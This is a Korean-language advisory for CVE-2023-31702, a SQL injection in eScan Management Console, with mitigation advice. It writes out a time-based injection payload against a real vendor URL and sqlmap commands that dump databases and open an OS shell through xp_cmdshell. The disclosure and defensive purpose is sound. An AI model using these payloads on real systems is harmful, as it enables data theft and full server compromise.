
CVE-2023-31702는 MicroWorld Technologies eScan Management Console 버전 14.0.1400.2281에서 발견된 인증된 SQL 인젝션 취약점입니다.
CVE-2023-31702은 MicroWorld Technologies eScan Management Console 버전 14.0.1400.2281에서 발견된 인증된 SQL 인젝션 취약점입니다. 이 취약점은 GetUserCurrentPwd 엔드포인트에 존재하며, UsrId 매개변수가 적절한 정화(새니타이제이션)나 매개변수화 없이 SQL 쿼리에 직접 전달됩니다. 인증된 공격자는 이 결함을 악용하여 시간 기반 블라인드 SQL 인젝션을 수행하고, 백엔드 데이터베이스 전체를 추출하며, 궁극적으로 기본 Microsoft SQL Server에서 대화형 OS 명령 셸을 획득할 수 있습니다 — 이로 인해 시스템 전체가 장악될 수 있습니다.
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2023-31702 |
| 취약점 유형 | SQL 인젝션 (시간 기반 블라인드 / 스택 쿼리) |
| 영향받는 제품 | MicroWorld Technologies eScan Management Console |
| 영향받는 버전 | 14.0.1400.2281 |
| 취약한 엔드포인트 | /ewconsole/ewconsole.dll/GetUserCurrentPwd |
| 취약한 매개변수 | UsrId |
| 인증 | 필요 (유효한 콘솔 자격 증명) |
| 테스트 환경 | Windows |
| CVSS v3.1 점수 | 8.8 (높음) |
| CVSS 벡터 | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 보고일 | 2023년 5월 16일 |
| 작성자 | Sahil Ojha |
eScan Management Console은 조직 네트워크 전반에 걸쳐 엔드포인트 보안을 관리하기 위한 웹 기반 인터페이스를 제공합니다. "View User Profile" 기능은 REST 유사 엔드포인트를 노출합니다:
/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=<ID>&cnt=<counter>
UsrId 매개변수는 검증, 이스케이프 또는 매개변수화된 쿼리 사용 없이 백엔드 SQL 쿼리에 포함됩니다. 이를 통해 인증된 공격자는 쿼리에 임의의 SQL 문을 주입할 수 있으며, 그 결과는 다음과 같습니다:
WAITFOR DELAY를 사용하여 익스플로잇 가능성을 확인합니다.xp_cmdshell 저장 프로시저(sp_configure를 통해 활성화)를 활용하여 SQL Server 서비스 계정의 권한으로 서버에서 임의의 운영 체제 명령을 실행합니다.이 취약점을 성공적으로 악용하면 공격자는 다음을 수행할 수 있습니다:
⚠️ 참고: 공격자는 먼저 eScan Management Console에 대한 유효한 자격 증명을 획득해야 합니다. 그러나 일단 인증되면 익스플로잇은 간단하며 높은 수준의 콘솔 권한이 필요하지 않습니다.
eScan Management Console에 인증한 후 다음 URL로 이동합니다:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493
이것은 현재 사용자 프로필 데이터를 반환하여 엔드포인트에 접근 가능함을 확인합니다.

UsrId 매개변수에 다음 시간 지연 페이로드를 주입합니다:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR DELAY '0:0:5'--&cnt=4176
페이로드 분석:
; — 원래 SQL 문을 종료하고 새 문을 시작합니다 (스택 쿼리).WAITFOR DELAY '0:0:5' — SQL Server가 응답하기 전에 5초 동안 일시 중지하도록 지시합니다.-- — 구문 오류를 방지하기 위해 원래 쿼리의 나머지 부분을 주석 처리합니다.서버 응답이 약 5초 지연되면 인젝션이 확인됩니다.

블라인드 SQL 인젝션이 확인되면 SQLMap을 사용하여 전체 데이터베이스를 추출할 수 있습니다:
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--dbs \
--batch
이 명령은 백엔드 SQL Server에 호스팅된 모든 데이터베이스를 열거합니다.
SQLMap은 xp_cmdshell을 활성화하고 활용하여 공격을 OS 수준 명령 실행으로 승격할 수도 있습니다:
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--os-shell \
--batch
이 명령은 SQL Server 호스트에서 대화형 OS 셸을 설정합니다.

OS 셸이 설정되면 서버에서 임의의 Windows 명령을 실행할 수 있습니다:

이 취약점을 해결하고 완화하기 위해 다음 조치를 강력히 권장합니다:
매개변수화된 쿼리 / Prepared Statement 사용 — 사용자 제공 입력을 SQL 쿼리에 직접 연결하지 마십시오. 바인딩된 매개변수를 사용하여 데이터를 쿼리 로직과 분리하십시오.
입력 검증 및 정화 — 모든 사용자 제공 매개변수를 서버 측에서 엄격하게 검증하십시오. UsrId와 같은 숫자 식별자의 경우 정수 전용 입력을 적용하고 특수 문자가 포함된 값은 거부하십시오.
공급업체 패치 적용 — eScan Management Console을 사용 가능한 최신 버전으로 업데이트하십시오. 최신 패치 릴리스에 대해서는 MicroWorld Technologies 지원팀에 문의하거나 보안 권고를 참조하십시오.
데이터베이스 계정 최소 권한 — 애플리케이션 데이터베이스 계정에는 필요한 최소 권한만 부여해야 합니다. sysadmin 또는 db_owner 역할을 가지면 안 되며, xp_cmdshell은 비활성화되어야 합니다.
xp_cmdshell 비활성화 — 명시적으로 필요하지 않은 한 SQL Server 인스턴스에서 xp_cmdshell 확장 저장 프로시저를 비활성화하십시오:
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
웹 애플리케이션 방화벽(WAF) — 심층 방어 수단으로 일반적인 SQL 인젝션 패턴을 탐지하고 차단하는 WAF를 배포하십시오.
네트워크 분리 — eScan Management Console에 대한 접근을 신뢰할 수 있는 IP 대역으로 제한하고 SQL Server가 인터넷에 직접 노출되지 않도록 하십시오.
| 날짜 | 이벤트 |
|---|---|
| 2023년 5월 16일 | Sahil Ojha가 취약점 발견 및 보고 |
| 2023년 5월 | MITRE가 CVE-2023-31702 배정 |
| 2023년 5월 | 공개 게시 |
Sahil Ojha — 보안 연구원
이 공개 자료는 교육 및 보안 연구 목적으로만 제공됩니다. 명시적인 서면 승인 없이 시스템을 대상으로 이 취약점을 악용하는 것은 불법적이며 비윤리적입니다.
| 필드 | 세부 정보 |
|---|
| 공급업체 | MicroWorld Technologies |
| 제품 | eScan Management Console |
| 공급업체 홈페이지 | https://www.escanav.com |
| 소프트웨어 링크 | https://cl.escanav.com/ewconsole.dll |
| 플랫폼 | Windows |